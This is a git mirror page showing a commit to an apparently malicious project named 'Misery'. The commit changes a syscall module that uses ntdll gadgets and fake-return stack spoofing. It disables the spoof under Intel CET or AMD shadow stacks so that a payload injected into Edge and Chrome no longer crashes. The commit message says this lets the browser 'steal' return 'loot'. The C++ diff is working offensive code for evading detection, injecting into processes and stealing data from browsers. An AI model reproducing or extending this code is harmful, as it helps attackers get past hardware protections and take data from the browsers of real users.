mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
syscall: skip the fake-return spoof under a CET shadow stack
msedge and chrome run with Hardware-enforced Stack Protection (Intel CET / AMD shadow stack) on. ret is then checked against a hardware copy of the return address, so the fake return pushed before the syscall;ret gadget (push fake; jmp the gadget) mismatches the shadow stack and the browser fast-fails with 0xC0000409. That killed the payload mid-loot in the injected browser, which the agent surfaced as "inject failed: failed to read result header". init() now checks GetProcessMitigationPolicy(ProcessUserShadowStackPolicy) and zeros g_fake_return_addr when the shadow stack is on; dispatch() already reads 0 as "no fake return". The gadget pool still runs, and a process without a shadow stack (the agent itself) keeps the spoof. Verified against Edge 153: the payload now completes and the steal returns loot with no 0xC0000409 fault in the Application event log.
This commit is contained in:
@@ -288,6 +288,21 @@ static bool resolve_one(const char* name, Entry& entry) {
|
||||
const Syscalls& sys() { return g_sys; }
|
||||
bool ready() { return g_ready; }
|
||||
|
||||
// Declared in processthreadsapi.h, which is hidden unless _WIN32_WINNT >= 0x0603.
|
||||
extern "C" BOOL WINAPI GetProcessMitigationPolicy(HANDLE, PROCESS_MITIGATION_POLICY, PVOID, SIZE_T);
|
||||
|
||||
// Hardware-enforced Stack Protection (Intel CET / AMD shadow stack). ret is
|
||||
// checked against a hardware copy of the return address, so stack spoofing
|
||||
// faults (#CP, the process fast-fails with 0xC0000409). msedge, chrome and most
|
||||
// strict-mode images enable it. A failed query means the feature is off.
|
||||
static bool user_shadow_stack_enabled() {
|
||||
PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY p{};
|
||||
if (GetProcessMitigationPolicy(GetCurrentProcess(), ProcessUserShadowStackPolicy,
|
||||
&p, sizeof(p)))
|
||||
return p.EnableUserShadowStack != 0;
|
||||
return false;
|
||||
}
|
||||
|
||||
bool init() {
|
||||
if (g_ready) return true;
|
||||
g_ntdll = ntdll_base();
|
||||
@@ -295,6 +310,10 @@ bool init() {
|
||||
|
||||
seed_prng();
|
||||
if (!scan_gadget_pool(g_ntdll)) return false;
|
||||
// A CET shadow stack rejects the fake-return spoof (push a fake ret, then
|
||||
// jmp the syscall;ret gadget), so drop it in a process that has one.
|
||||
// dispatch() reads 0 as "no fake return".
|
||||
if (user_shadow_stack_enabled()) g_fake_return_addr = 0;
|
||||
build_freshy_table(g_ntdll);
|
||||
extract_pdata(g_ntdll);
|
||||
g_delta = 0;
|
||||
|
||||
Reference in New Issue
Block a user